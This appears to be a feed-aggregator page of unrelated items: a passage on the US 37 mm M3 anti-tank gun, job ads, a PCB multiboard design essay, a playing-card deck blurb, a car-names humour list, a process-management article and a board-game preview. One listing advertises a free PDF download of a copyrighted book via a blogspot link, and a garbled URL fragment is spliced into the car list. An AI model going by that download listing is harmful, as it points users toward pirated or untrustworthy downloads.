New TO&E issued in May of 1943 replaced the M3s with 57 mm M1 guns (copies of British 6-pounders). However, these weapons only appeared in large amounts in early 1944. The campaign in Sicily was fought with 37 mm guns, which were still effective against Italian tanks and captured French Renault R35s. When German tanks appeared on the battlefield, the infantry's only hope was their tank destroyer battalions, armed with M10 SPGs.

By the landings in Normandy, the 57 mm M1 was already the infantry's main anti-tank weapon. In the Pacific theater the guns remained in use until the end of the war. Their small size came in handy when fighting in the jungle.

An M3 gun crew of the 7th Cavalry Regiment at a checkpoint near Santo-Tomas (Luzon, Philippines). March 25th, 1945.

The only notable receiver of this gun through the Lend Lease program was China (1669 units). The second largest supply was to Chile, who received 198 guns. Small batches ended up in other Latin American countries: Paraguay (12), El Salvador (9), Columbia and Bolivia (4 each). Cuba received one single M3. The Free French received 130 of these guns, Great Britain got 78, the USSR 63, and Canada 3.

37 mm M3A1 with a Solothurn muzzle brake and the M5 3" gun. The difference can be seen with the naked eye.

The American 37 mm gun arrived on the scene much later than its analogues, especially the German 3.7 cm Pak "doorknocker". As a result, it was obsolete by the time it entered service, which guaranteed its relatively short and unsuccessful career.



          Comment on Mark is developing an Alexa skill to search shortwave broadcast schedules by Thomas      Cache   Translate Page      
It's only a prototype in development, so you won't find that skill yet. If Mark decides to release it publicly, we'll certainly post how you can add it to your device.
          Technical Architect I      Cache   Translate Page      
TX-Houston, Job title: Technical Architect I Duration:6+months Location: Houston, TX Job description: Oversee the development of future component architectures and migration plans. Conceive, design, prototype, and test new methods, algorithms, and models. Define and enforce appropriate technical standards and procedures. 2-4 years experience. Additional Notes: -Network Engineer -Solar Winds, ASA Firewalls, an
          Jr. Mechanical Engineer      Cache   Translate Page      
CT-Danbury, Job Description Nesco Resource is hiring a Jr. Mechanical Design Engineer to work, in a team environment, utilizing SolidWorks. Focus will be on the design, documentation, and utilization of 3D printers for prototype manufacturing of packaging and machine design. Typical projects will require time working in collaboration with all three areas. Established standards will be used to develop new desi
          How To Maintain Connectivity in a Multiboard PCB System      Cache   Translate Page      

By John Burkhert Jr

Bringing a multiboard system together is a chance for the designer to spread their wings. As the circuit spreads, so do the risk of crossed signals. Some of the ways the circuits can get scrambled include:

  • Some connector vendors have clear indications of polarity. Others leave all numbering to the buyer. In the same way, a row of gold fingers will be anything we draw up in terms of pin numbers and signal names.
  • While the physical design typically depicts the orientation of a connector by indicating the location of pin one, rarely is the net that goes on the circuit defined at that level.
  • Each board in the system has a separate schematic, probably drawn up by a subject matter expert that naturally varies from one board to another.
  • A connector can be mirrored to the secondary side, yet we can view it as though we had Superman X-ray vision.
  • A single large connector can have a cable or flexible circuit that mates to it but then splits the larger connector’s signals into several smaller connectors that get distributed all over the system. Each of those branches will have a pin-one of its own but only one of them at the end where everything is collected together.
  • Rogue changes on one card can derail a system.
  • Library inconsistencies and simple mistakes can as well.

Closing all of those potential open loops takes a degree of organization. The system level physical designer is very concerned with everything fitting together. PCB Designers are working within their outline(s) and can also become a bit myopic in that regard. It seems as though we go over these things ad nauseam in the early design reviews when the high-level architecture is being laid out. Then, some bug crops up when we put everything together. What happens? How can we stay on an even keel?

Block it All Out

I don’t mean therapy or hitting your head against the wall. Block Diagrams, Wiring Diagrams, Interconnect Diagrams, Interface Control Diagrams, Outline Drawings, and beautiful 3D renderings all help put the big picture in perspective. They may also be considered too mundane for the critical path and be put off until everything is completely defined. What happens then is that any disconnects get cleaned up in the pre-production run. New boards/cables/flexes are rushed out and all of the expediting and long days go into trying to mitigate the risks before going to mass production. Turning up volume production on something that is mostly tested and verified is one way to live on the edge. So is blindfolded paragliding. Nobody talks about the time their parachute didn’t open. Fewer mistakes in the prototype stage pay the dividend known as peace of mind as we confidently scale up our efforts.

The bigger the job, the more we need to employ risk management in the form of stronger documentation. Nobody does testing and documentation quite like NASA, but the auto industry is really good at supply chain management. When you become part of the supply chain, you quickly become well managed. You get to generate all sorts of documents related to design verification at all levels. Just as you are managed, you become a technical manager to your suppliers as they do for theirs. But I digress.

Creating Order From Chaos, One Step at a Time

The thing is that this level of scrutiny is not as common in the typical consumer hardware setting. Getting your engineering folks to draw up a proper interconnect table may be a stretch. Starting your own “quick and dirty” version is better than nothing and may even prompt the team to fulfill their ideal destiny. We’re after a schematic of schematics. There is a lot of abstraction at this level. A box represents a board, and a list in the box represents the functional connectivity between the various boards.

Image credit: Research Gate - Use more or less detail as required

A system power tree is another important reference point. The number of functions a product has will be a close indicator of the different number of power domains required. Let’s say, for instance, that we have a camera and a display to go with a microphone and speakers to make an Arduino conference room package. All five of those items will want their own power supply even when they are designed for the same number of volts. Scale up to the devices with over 1000 pins and each little area of the device wants a particular power source all its own. They give me an 800-page owner’s manual for the Intel Skylake device. You’d shake your head at that ball-map. It does have an excellent power tree along with the reference design material though.

Life on the Analog Frontier

We got the chance to create a reference design for a Samsung Chromebook Plus. We had the main logic board and a handful of outlying boards. GPS, for instance, needed a quiet area so it could receive the small signals from the satellites. I mean quiet in an electromagnetic sense. The speakers still qualify as a problem because of their magnets. The metal enclosure, the WIFI, the Bluetooth and a number of sensors were all problems.

Coexistence is the name of the game when we try to make all of these disparate functions work together. Simulations will take us a long way, but there are blind spots. You don’t know until you have everything packed into the form factor and turn it all on. Who can forget the time that people wrapped their hands around the upper area of the new iPhone and were told that they were “holding it wrong”? The Pixel phone with its band of non-metal color is an indication of where the invisible connections are taking place through various antennas.

The short answer is that wireless connectivity is the risk that is hardest to manage. For the most part, we try to contain electromagnetic waves. In this case, we’re making them on purpose. The more wireless protocols you have, the more corner cases to explore. Life is better if you only have to tame one radio. Your phone is a war zone of conflicting interests. This laptop was no different. The prototypes were not 100% ready for prime time. The project was pulled together with a few schematic revisions including more filters and regulators; small stuff for the P1 stage except for mis-wiring the battery connector! Mass production followed on with minimal drama. I can say that now, but I was 10,000 miles from where most of the action took place. I know they worked hard too.

Image credit: Author - You’d think we could do something as simple as a battery connector.

The result was thin, light, fast, robust and flexible enough to wrap itself into a tablet, stylus included. Here is a glowing video review of the hardware. Spoiler: the man spent 12 minutes talking about this one laptop and did not have any negatives. Could it be that good? The awards at CES ‘17 were long and strong. This is the ARM processor version that has a lookalike big brother with the Intel SOC. The reviews tend to reflect that this is the lower tier of the Samsung premium convertibles. Working with the outside vendors on the reference designs was interesting.

They provided very detailed .dxf files so we could import geometry directly to the layout. The inner workings of the laptop were rendered over several layers. In a way, that was even better than drawings. The ODM (original design manufacturer) also had the wherewithal to take on the system interconnect review. Between the software models and mock-up hardware, the away team executed a nice product on a three-spin development cycle. Prototypes are the breadboard version without any physical limitations. Pre-production is the first time all of the components are joined in the form factor, and the third cycle is the one that you can still buy. Or not. I have pride in the work but, Samsung doesn’t share anything with me. They are in-house for their designs anyway. We provided a six-layer option to their eight.

Image credit: Author - The P1 version of a motherboard for a laptop/tablet chromebook

Great systems start with solid documentation, strong communication, and trust that everyone is going to hit their mark. The first iteration is to see if things work. The second is to see if it fits and the third has to have 100% of both of those things. In the words of the cold warriors of ancient times, “Trust but verify.” Multiboard systems are expected to be complicated by their nature. The different voltages have to be over- and under-powered in different combinations and over varying temperatures and so on. With all that is expected of these costly systems, it is incumbent upon the designer to take care that the system level connections are fully vetted before the die is cast.




          Learning Experience Design, Learning Futures Group - Civil Service College - Singapore      Cache   Translate Page      
We work with internal and external partners to identify future learning trends and develop prototypes and pilots for potential application in CSC. Who We Are....
From Careers@Gov - Fri, 21 Sep 2018 05:52:48 GMT - View all Singapore jobs
          Maruti Suzuki WagonR-based EV prototypes begin road testing      Cache   Translate Page      
Osamu Suzuki, chairman of Suzuki Motor Corporation, spoke at the MOVE Summit in New Delhi and revealed that Maruti Suzuki India would start road-testing 50 EV prototypes. Just over a month since, the ... - Source: www.autocarindia.com
          Polestar 1 prototype moves closer towards production      Cache   Translate Page      
Polestar will build 34 road-going prototypes of the Polestar 1 for weather testing, on-road appraisal and crash testing to prepare the car for full production and sale to the public. The prototypes ar ... - Source: www.autocarindia.com
          Prototype Technician      Cache   Translate Page      
NJ-Edison, This position consists of: Performing visual quality inspection to check for defects and cleanliness Assembling per provided work instructions Preparing modifications if necessary (shaving, drilling, cutting) Running tests by hooking up batteries to a laptop that will run scripts and test the cells Recording results 40 hours per week, openings for second shift. About Aerotek: We know that a compan
          Bicycle Blackbeard Limited Edition Playing Cards by Bocopo      Cache   Translate Page      
Like the vast expanse of the sea, there are many unknown dangers hidden in that deep blue, such as sharks and pirates. Among the pirates, the most feared of all was the legendary Blackbeard. Blackbeard, formerly known as Edward Teach/Edward Thatch, is one of the most famous pirates in the world's history of navigation. And the inspiration for this deck of cards is derived from this.

Black skulls, salt-flavored jewelry, pirates, all have become a form of culture deeply embedded into our consciousness. Pirates are seen in many fields, but there are always some pirate legends who are eternally remembered by people, just like Blackbeard. Whether it is the famous movie, Pirates of the Caribbean, or the comic book, "One Piece," there are characters with Blackbeard as the prototype. This is also the case with this deck of cards.

We put in a lot of work on designing this deck because we love the culture and idea of pirates. We hope you will sense the mystery of pirates in this deck. So, we chose a vintage dark yellow on the back of the playing cards. There are iconic flags, anchors, bow, and weapons as elements to let you sense the pirate's culture.

The front of the tuck is a landmark element for navigation - the anchor. The vicissitudes of brush strokes and broken ropes leave you with infinite imagination.

Is it a sign that the pirates are about to stop the boat for looting? Or are they sailing after success? Is it about to start, or has never stopped? Or is it evidence that has been discovered from the bottom of the deep sea thousands of years later?

The Blackbeard has a design with pirate elements. These include the rudder in the center, the compasses on both sides, the iconic goggles, the iron chains in the mouth, the blue color, and the detailed ripples. All of these make you think immediately about pirates. The feelings you get from this deck will take you to mystery and terror.

The "pirate's vengeance" on the back of the cards tells a story about Blackbeard: in May 1718, he led four pirate ships to seal off the South Carolina capital of Charleston, looted ships in the port and kidnapped many hostages. It also included many members of the municipal government and, as a result, the government had to pay a huge ransom.

In the end he not only had to grab a lot of cargo, but also ransomed enough money to enjoy for a lifetime. So, he was greedy and eager to swallow the property. He set a trap and left his men dying on an island, but he left with 40 confidants. Two days later, these abandoned pirates were rescued by the occasionally passing English Major Bennett.

Blackbeard, who was unsympathetic to his acquaintances, also angered all pirates who had come back alive at the time. They contacted many merchants who had been harmed by Blackbeard, and the plantation owners together found the Governor of Virginia, Stephens, determined to kill the "black moustache" at all costs and determined to revenge him. In the end, there was the famous Black Bearded Commandment.

Joker

The fierce skull with pirate hat on the Joker card is the legend of Blackbeard. The handgun and rudder around him are the marks of his life.

Court Cards Design

The court cards are based on the theme of the whole deck of cards: Pirate's revenge, and it portrays twelve completely different pirate images. They are brothers who were ruthlessly abandoned by the black beard. Although they have turned into a skull, the vengeance is fierce and fierce. The action is vivid, and the gloomy picture gives you a cold feeling.
          Download UX Strategy: How to Devise Innovative Digital Products that People Want - Jaime Levy [PDF File(PDF,Epub,Txt)]      Cache   Translate Page      

Read Download UX Strategy: How to Devise Innovative Digital Products that People Want - Jaime Levy [PDF File(PDF,Epub,Txt)] PDF Free Download Here https://ngiclikuenakucnh.blogspot.pe/?book=1449372864 User experience (UX) strategy requires a careful blend of business strategy and UX design, but until now, there hasn t been an easy-to-apply framework for executing it. This hands-on guide introduces lightweight strategy tools and techniques to help you and your team craft innovative multi-device products that people like to use. Whether you re an entrepreneur, UX/UI designer, product manager, or part of an intrapreneurial team, this book teaches simple-to-advanced strategies that you can use in your work right away., Along with business cases, historical context, and real-world examples throughout, you ll also gain different perspectives on the subject through interviews with top strategists. Define and validate your target users through provisional personas and customer discovery techniques Conduct competitive research and analysis to explore a crowded marketplace or an opportunity to create unique value Focus your team on the primary utility and business model of your product by running structured experiments using prototypes Devise UX funnels that increase customer engagement by mapping desired user actions to meaningful metrics
          phaidknott commented on the post, Raging Heroes Take Us To Church For Their Cathedral Prototype      Cache   Translate Page      
none
          Prototype Assembly and Test Technician - Empirical Systems Aerospace, Inc. - Rosamond, CA      Cache   Translate Page      
Mechanical and electrical systems prototype, assembly, integration and test. No engineering is required for this position....
From Empirical Systems Aerospace, Inc. - Thu, 26 Jul 2018 19:39:48 GMT - View all Rosamond, CA jobs
           Range Rover Sport drives itself round Coventry's ring-road in driverless test       Cache   Translate Page      
A prototype driverless Range Rover Sport made a complete circuit of the complex Coventry Ring Road successfully changing lanes, merging with traffic and exiting junctions at 40mph.
          Scott Bakula (actor, 1954)      Cache   Translate Page      
Scott Bakula stars as Jonathan Archer in Enterprise. Charming and bold, Archer is a renegade who's not afraid to follow his instincts. The prototype for all Starfleet captains to come, he ...
          Still not dead yet      Cache   Translate Page      
So where is Elio Motors this week? Still hanging in there somehow, but there’s been a small change in plans: Early Elio prototypes carried a transplanted three-cylinder engine sourced from the illustrious Geo Metro, with the fledgling automaker claiming it had a 900cc triple of 55 horsepower in its sights. Well, plans change. The company, […]
          The 10 Worst Car Names of All Times      Cache   Translate Page      
10. Dodge Swinger
The Dodge Dart family's crème de la crème -- if you get my drift -- was the ill-named "Swinger", when such a term was synonymous with wife-swapping. Yankee pitchers Fritz Peterson and Mike Kekich became symbolic of the swinging generation and, by any measure, their mediocre baseball careers were rollicking successes compared to the Swinger automobile. Sadly, this wasn't even the worst-named Dodge vehicle of the era: marketers had originally intended to unveil their own version of Plymouth's abysmal Duster as "The Beaver" until someone familiar with teen slang slapped them upside their heads.

9. Ford Probe

Undergoing an anal probe may, in fact, be preferable to driving this undersized, underpowered, and underwhelming Ford whiff at designing a sporty coupe. The original Probe was rooted in the idea of a front-wheel drive replacement for the Mustang, which worked out as well as anyone with more than six firing neurons could have predicted.

8. Chevy Citation
The citation you'd get for driving this car certainly wasn't for driving fast, given its legendarily feeble performance. No, the ticket you'd get from the cops is for really, realy bad taste in cars.

7. Studebaker Dictator
Mr. Peabody, dial the Wayback Machine to 1927, when the Studebaker Automobile Company's Marketing Department had a brainstorm! "Let's name our lowest-priced model 'The Dictator' because the Studebaker Hitler could be a trademark infringement!'"

6. Chevy Eurosport
Quick: what feature of the Eurosport reminds you of either "Europe" or "Sport"? The closest this rustbucket came to Europe is its shared reliability record with Yugos. Come to think of it, perhaps the YugoSport would have been a better name for this collosal failure. To my knowledge, the only people who ever drove Eurosports were those forced to do so at the airport rental car counter when it was, invariably, the last draft pick.

5. Audi 5000
There may be some truth to the rumor that the model name refers to the number of trouble-free miles you could wring out of this gem.

4. Oldsmobile Intrigue
The only "intrigue#source%3Dgooglier%2Ecom#https%3A%2F%2Fgooglier%2Ecom%2Fpage%2F%2F10000" related to this substandard attempt at transportation was whether it would start in the morning.

3. Pontiac Parisienne
The reference to Paris must refer to Paris, Kentucky, because this hulking failure was as far from a sophisticated French Parisian as the Sun is from Pluto.

2. GM Impact
Long before its Chevrolet Volt, GM envisioned a prototype electric vehicle called the Impact. Naming a vehicle after a collision? That's a bold strategy, Cotton.

1. Ford Aspire
With its blistering 16-second 0-to-60 performance, the only thing its driver aspired for was a real car.

Did I miss any? Add your suggestions to our master list in the comments.

          "Guess this is all just unnecessary PR hype"      Cache   Translate Page      

Priestmangoode creates full-scale prototype of "spaceship-like" Hyperloop capsule

In this week's comments update, readers are confused about the shape of a prototype Hyperloop capsule, and blown away by plans for the Wuxi Show Theatre in China. Read more


          3 Process Roadblocks and How to Steer Around Them      Cache   Translate Page      

Not many people get excited when talking about process.

But while things like workflows and standard operating procedures might not seem particularly flashy or thrilling, we all reap the benefits of a reliable process. Of course, no matter how well you grease the wheels, things don't go as expected. That roadblock or bottleneck not only threatens to throw everything off track, but it also drastically slows down your progress.

According to a recent Workplace Knowledge and Productivity Survey of 1,000 Americans, employees spend eight hours each week—that's one full workday—searching for information or reworking inefficient processes.

So you can't have just any process in place. If you want to reap the benefits, you need an efficient and effective process. How can you make sure that your own processes aren't quietly sabotaging your team's success? Keep your eye out for these common (yet sneaky) project management roadblocks, and then implement this advice to circumvent them.

First Things First: Document Your Process

A process isn't really a process if it isn't documented—until then, it's more of a suggestion. Yet according to the 2016 State of Business Process Management Report, only four percent of companies "always" document their processes.

Putting your standard procedures in writing is helpful for numerous reasons:

  • It makes it easier to onboard new team members, as they can reference those processes when they're getting up to speed.
  • It ensures consistency, since everyone is adhering to the same written steps.
  • It makes roadblocks and other potential areas of confusion more apparent.

So, how should you go about documenting your existing processes? There are two effective methods to do so.

1. Input/action/output chart

If you have fewer and more linear processes, the input/action/output chart is a good tactic for you. The chart gives you a view of what's being done, who is responsible for which step, and how steps are linked to each other.

The chart has three columns (you guessed it—input, action, and output). The input column lists what is being done, the action column lists who is responsible for that task, and the output column lists the outcome of that task.

Here's a simple example of what this chart looks like:

Example of input action output chart

2. Process mapping

If your team has more complicated processes and projects, that linear breakdown won't serve you as well.

Process mapping is more advanced. You start by creating an inventory of your current projects and deliverables. Next, prioritize these items based on their impact. From there, you outline processes by identifying their triggers (starting points) and deliverables (end points). With those in place, you list out the specific steps that get you from the starting point to the end point.

Regardless of which method you use, the important thing is to get your processes documented. That allows you to anticipate roadblocks and proactively take steps to avoid them entirely.

What sort of roadblocks? Let's cover three that sneak up on teams—even when they believe they have efficient processes in place.

Process Roadblock #1: Project Dependencies

Four fists touching over desk

You don't get all of your projects completed in a vacuum—certain ones require support from other teams or departments to get them across the finish line.

If you've failed to flag these places and get buy-in from those teams early on in the process (or they fail to deliver on those necessary dependencies), everything is thrown off track. It's the dreaded domino effect. It only takes one misstep or missed deadline for the whole thing to fall apart.

For example, you're planning a marketing campaign for an upcoming product launch. The content team was supposed to have the social media captions drafted days ago, but they're behind. Now the design team can't move forward with the graphics until they have the copy, and the social team can't get anything queued up until they have those materials in their inbox.

That one seemingly small delay has sent the entire campaign into a nosedive.

Steer around this roadblock

When dependencies are the norm (particularly when you're working on integrated or cross-functional projects), avoiding this domino effect may seem impossible. But there are a few strategies to keep everybody accountable.

1. Bake kickoff meetings into the beginning of every process. Every cross-functional project should begin with a kickoff meeting so everybody is on the same page about expectations and has a chance to ask any questions.

Confusion only compounds confusion—which means you want everybody clear on the goals and what's needed to accomplish them right out of the gate. Having that overarching view can increase team members' sense of accountability and keep them on track for their individual tasks.

2. Align your priorities. Every team is busy, and they all have their own pressing to-dos. If the dependencies for this project aren't as important to other teams as they are to you, they'll continue to get pushed to the backburner.

In the kickoff meeting, make sure to emphasize not only what needs to happen and by when, but also why it matters. This will reinforce the importance of those tasks for other teams.

3. Use Gantt charts. Gantt charts are a great way to visually plot all of those task dependencies. Not only will they keep you organized, but they also give you and any other stakeholders a better understanding of how one delay can affect the entire project.

4. Share calendars. Increased visibility helps greatly. By sharing calendars, you can see if and when something is lagging on another team's schedule (and drop in with a friendly reminder). Additionally, calendar access means you'll get a feel for whether or not that team is overloaded with other projects that might make it challenging for them to complete a dependency on time. You can take steps to mitigate that delay right away, rather than chasing your own tail.

5. Automate reminders. No one wants to be the team nag, so use an automated workflow to send reminders to your team about tasks and deadlines, either by sharing calendar events in your collaboration app or automatically creating calendar events for all of your tasks.

Process Roadblock #2: Endless Feedback Loops

Speech bubbles over lots of people

You get to the end of a project and breathe a sigh of relief. You're almost finished—all that's left to do is get final approval and then wash your hands of it once and for all. But the feedback step can be one of the most difficult parts of the process. Things get stalled because stakeholders don't agree or they don't realize that the ball's in their court.

More often than not, project owners are left to consolidate dozens of different email threads and conflicting feedback and decide on their own who actually has the final say. It's inefficient and ultimately adds a lot of unnecessary stress to your team.

Steer around this roadblock

You still need feedback and approvals, but they don't need to result in chaos and confusion. The trick is to have an orderly approach, so everybody knows when they need to step in, as well as who has the final say on a project.

1. Clearly define roles and responsibilities. It's important that you have clearly defined roles and responsibilities on your team. This matters during every part of the process, but particularly when you reach the approval stage. This way there's no disagreement over who's providing feedback on what and who gives the final go-ahead.

Try one of these popular frameworks to get clear on responsibilities and maintain accountability.

2. Ditch email. There's nothing more frustrating than managing conflicting email threads while having to run back and forth to relay messages. Move away from email for feedback and approvals, and instead keep feedback and related discussions in one centralized location.

With everything in one spot, everybody has visibility into what's already been discussed and decided—without anyone taking on the daunting task of being the messenger.

One easy way to centralize all your information is with an automated workflow. Zapier can automatically send all emails on the topic to whatever collaboration app you choose:

3. Schedule feedback and approval time. The feedback process becomes even more stressful when you're in a time crunch. Too many companies forget about this step entirely and end up scrambling to secure approval and meet a deadline. Remember, the project isn't over just because the first draft, mockup, or prototype is completed, so give yourself some breathing room by building a feedback buffer into your standard project timeline.

4. Enforce deadlines. There's nothing worse than having to chase down feedback. When your messages go unanswered, it's tough to know whether that person is ignoring your requests or if they just don't have anything to add to the conversation.

Rely on this handy phrase: If I don't hear from you by…

It instills a sense of urgency if that person really does have input to offer. And if they don't? You gave yourself an out to move forward without hearing from them.

Process Roadblock #3: Ad Hoc Requests

You're happily working on a project. Everything is on schedule, and you're powering through your different to-dos. Suddenly, fire alarms start going off. A last minute project falls into your lap, and you have to scramble to take care of it.

You have no choice but to leave what you're supposed to be working on for another day. Your own priorities and projects are put on hold in order to accommodate this urgent request, which will only snowball into more problems and delays for your other projects.

Not only do these ad hoc requests pull you away from your team's goals and priorities, they're also incredibly stressful and can lead to burnout for your employees.

Steer around this roadblock

Last minute requests aren't completely avoidable. Things happen—it's the nature of the working world. However, there are some steps you can take to make the process a little less stressful and ensure you aren't consistently held up by these fire drills.

1. Require formal requests. Institute an approval process. When people need something from you or your team, they can fill out a request form.

This can be a simple form or templated brief. It should include:

  • What the request is
  • Who it's for
  • Why it matters
  • Any other relevant background information or context

This established request process helps you manage timelines and resources better—since you'll have more notice and the necessary details right off the bat. It should also include how far in advance requests should be made, so people get in the habit of asking for project assistance in advance (rather than in the eleventh hour).

2. Ask for the right information. Beyond the details you'll need to complete the task, also inquire how these requests tie to larger business goals and objectives. If the person making the request can't immediately point to how they align, dig deeper. Is the request really necessary or as urgent as it's made out to be?

Digging into this information can help you eliminate any work that isn't actually needed, while also empowering you to prioritize more accurately.

3. Give yourself some wiggle room. When building out processes and timelines for projects that are planned out and already on your radar, factor in some breathing room. That way, if and when any last minute requests come up, you have a little bandwidth to play with—rather than sacrificing your own project's progress and deadline entirely.

4. Learn to say no. There will be some requests that you simply can't turn down. But when you find yourself in a situation where there's no way to meet a request, don't be afraid to turn it down—or, at the very least, institute more realistic expectations. Remember, somebody else's lack of planning does not need to equate to your emergency.

Refining Your Processes Over Time

Keeping an eye out for these roadblocks and accounting for them within your processes certainly helps. But it's important to note that your processes aren't a "set it and forget it" sort of thing. Processes are living, breathing, evolving guidelines for how work should be done. They're never perfect or final, and they can—and should—change along with your team and your goals.

This means that you need to make process optimization an ongoing priority and activity. Otherwise, you'll be dealing with another common roadblock: processes that are outdated or irrelevant. Revisit your team's processes on a regular basis to ensure the information is as up-to-date as possible.

And make sure to listen closely to your team. If there are steps that they're frequently complaining about, that's something you can work on refining immediately—rather than waiting until something breaks down or runs off the rails.


Creating and maintaining solid processes and dealing with roadblocks takes time, energy, and focus. But the benefits far outweigh the effort. Efficient and effective processes remove a lot of headaches for you and your team, even if they require a certain amount of upfront and continued commitment.

To recap, keep your projects running as smoothly as possible by doing the following:

  • Documenting all of your processes
  • Firming up dependencies ahead of time with other teams and departments
  • Defining roles and responsibilities to avoid endless feedback loops
  • Creating a formal request form
  • Refining your processes over time

Do these things, and your team will consistently turn out awesome projects—without a ton of unnecessary hassle and stress.

Title photo by Robert Linsdell via Flickr. Image of hands over desk from mohammed_hassa via Pixabay. Images of speech bubbles from geralt via Pixabay.


          Senior UX/UI Designer - Accedo - Toronto, ON      Cache   Translate Page      
From creating IA, pageflows, wireframes, UI mockups, and prototypes for various applications including video-on-demand, live TV, sports and news apps....
From Accedo - Thu, 27 Sep 2018 23:08:54 GMT - View all Toronto, ON jobs
          Honeywell, Army Test Helmet-Mounted Vision System in Bradley Fighting Vehicle      Cache   Translate Page      
The U.S. Army has partnered with Honeywell to test a prototype virtual window technology on board the service’s Bradley fighting vehicle platform. Honeywell developed the vision system that integrates augmented and virtual reality functions with a helmet-mounted display as part of the Defense Advanced Research Projects Agency‘s Ground X-Vehicle Technologies program, the company said Monday. The system, dubbed the GXV-T Crew Station Augmentation Concept, […]
          UK Dyson winners hope portable turbine blows away competition      Cache   Translate Page      
UK winners of the James Dyson Award for inventors say their pint-sized prototype O-Wind turbine could be the answer for apartment-dwellers seeking to take advantage of green energy. Jim Drury reports.

          Ingénieur Développement Produit H/F      Cache   Translate Page      
En tant qu'Ingénieur Développement Produit, au sein du Département Ingénierie, sous la responsabilité du Responsable Ingénierie Système, vous prenez la responsabilité technique du développement et de la vie série des équipements de climatisation, dans les projets qui vous sont confiés :      * Réaliser les offres techniques lors des phases d'appels d'offres en lien avec les Services Techniques de l'entreprise,     * Lors de la phase de développement, être le garant des performances techniques de vos équipements et gérer la conception dans le respect des critères qualités des projets,     * Suivre le processus de développement de l'entreprise,     * Réaliser et/ou superviser des livrables techniques (notes de calcul, documentation technique, plans, notes de calcul),     * Réaliser et suivre des plans de validation sur les prototypes,     * Suivre des essais de type client,     * Suivre des produits en phase d'exploitation chez nos clients. Pour la réalisation de ces missions, au-delà de votre spécialité technique, vous vous appuyez sur les experts et spécialistes du Département Ingénierie.
          High power testing of a prototype clic structure: Td26cc r05 n3      Cache   Translate Page      
Testing of high gradient accelerating structure prototypes for the Compact Linear Collider is ongoing at CERN. High power testing of the baseline structure CLIC-G, also known as TD26CC R05, from the most recent concept design review was conducted on CERN’s second X- band test stand, Xbox 2. Several months of conditioning resulted in an ultimate unloaded gradient of 110 MV/m, the highest achieved for a structure with higher-order mode damping, with a 170ns flat-top RF pulse and operating with a breakdown rate of 2 ×10−5 breakdowns/pulse/metre. Investigations of the breakdown distribution demonstrated homogenous breakdown behaviour throughout the structure when fields were below 110 MV/m. After high power testing, a measurement of the RF parameters of the structure illustrated a significant change in the S- parameters consequential of a detuning of the cells, equating to a 1 MHz shift in the frequency.
          Radiation damage to permanent magnet materials: A survey of experimental results      Cache   Translate Page      
A large fraction of the total power consumption of the CLIC machine is taken up by electro- magnets. There is a proposal to replace some of the conventional electromagnets with permanent magnet (PM) versions. Prototypes of tunable versions using a movable PM section have been built. These would have several advantages over conventional electromagnets: zero power in normal usage; a very small power draw to change the field; reduced infrastructure costs (no large power supplies, thick current cables, or water cooling); increased beam stability (no vibration from flowing water or ripple from power converters); and drastically reduced hysteresis effects. Permanent magnets do have some disadvantages, however. One of these is a vulnerability to radiation. Exposure to radiation present in an accelerator beamline can have detrimental effects on PM blocks and can cause them to be demagnetised, reducing the overall field strength of the magnet and/or reducing the field quality. This document aims to summarise the experimental body of work done on damage to permanent magnets caused by radiation generated within an accelerator beamline. Experimental results are outlined, together with proposed models used to represent the data. Possible strategies to reduce the amount of damage caused are listed, particularly with regard to the estimated type and amount of radiation likely to be present in the CLIC drive beam.
          Maintenance Technician      Cache   Translate Page      
KY-London, Job Description Responsibilities: Maintains and makes any repairs and/or adjustments on all types of equipment and building infrastructures. Correct any mechanical, electrical, hydraulic, etc. problems and if not possible, report concerns to shift Team lead. Make recommendations on required changes to existing and new tooling, prototypes and fixtures, ensuring better quality parts. Maintain, inspe
          Le Volkswagen T-Roc cabriolet se montre      Cache   Translate Page      
Volkswagen dévoilera à la fin du mois le tout nouveau T-Cross, qui vient rejoindre les rangs des SUV du constructeur allemand. Mais la marque va aussi tenter un véhicule plus exotique avec le T-Roc cabriolet, dont les premiers prototypes ont été surpris s...
Article de Caradisiac.com
Tags : présentation Volkswagen T-Roc cabriolet
8 "Futur Volkswagen T-Roc cabriolet" : vroom.be - Wheels And You - plus »
          Review: Town Builder: Coevorden:: Gaming Bits: Preview Review of Town Builder: Coevorden      Cache   Translate Page      

by MillicanDarque


Recently I was given the opportunity to preview an upcoming new game that will soon be available to back on Kickstarter. I received a prototype copy of the game and rules. These are my thoughts and opinions on the presented materials. Enjoy!

Town Builder: Coevorden is a game by Eric Raué, published by First Fish Games. It is for 1-4 players. In this game, players take on the role of the lead architect for a noble family, tasked with building the best town district for a fierce town building competition. They will need to gather the necessary resources and choose the right buildings if they hope to impress the judges and win the best awards. In the end, the player that can harness their town building skills the best and thus earn the most points, will be declared the winner.

To begin, the Town cards are shuffled together to form a deck which is then placed face down in the middle of the play area. The top 5 cards of the deck are then placed face up in a row beside the deck. This is the initial card row. The Judge cards are then shuffled together. Three cards are then drawn from this deck. The first card is placed face up above the card row. The second is placed in approximately the middle of the Town card deck. The third card is placed at the bottom of the same deck. The Award cards are shuffled together next. The top 2 cards of this deck are drawn and placed face up above the card row next to the Judge card. Any unused Judge and Award cards are then set aside in a face down pile. A number of Player Crest cards are taken equal to the number of players, including the one marked, "First Player". These cards are shuffled and dealt out, one to a player. Any of these cards that are unused are placed back into the box. Whichever player receives the First Player card will begin the game. Each player will then place their Player Crest card face up in front of themself. This area is the player's district. Once this is done, play now begins.

This game is played in a series of turns, with each player taking a turn consisting of 2 steps. In the first step, the player will refill the card row back to 5 cards, drawing cards from the deck to replace any empty spots with. If a Judge card is revealed, it is placed face up above the card row along with the other Judge card(s). Any remaining empty holes in the card row are then filled. Once the deck is empty, the discard pile is shuffled together to create a new facedown deck.

The second step of a player's turn is to take two actions. There are 3 types of actions that a player is able to take. The player is allowed to take the same action twice or take two different actions. The actions are start a foundation, gain a resource and store a gold. The first action is to start a foundation. To start a foundation, the player simply takes one of the cards from the card row and places it sideways in front of themself in their district. It should be noted that if a foundation has a gold cost, this must be paid before the player can choose to start this particular card as a foundation. The player will need to discard gold cards stored under their quest equal to the chosen card's cost. It should also be noted that foundations do not count towards claiming awards or scoring judges as they are not built buildings yet. The next action is to gain a resource. To do this, the player will take a card from the card row and place it behind a foundation in their district that requires the specific resource that is printed on the bottom of the card. The card is placed so that the resource end of the card is showing. It should be noted that a resource can not be placed behind a foundation that does not require the specific resource located on the card. The final action is to store a gold. To do this, the player will choose a card from the card row that shows a gold coin at the bottom of the card. This card is then placed behind the player's crest with the gold end showing. One thing should be noted, once a foundation has all of it's resource costs satisfied, it must be built. All the resources behind the card 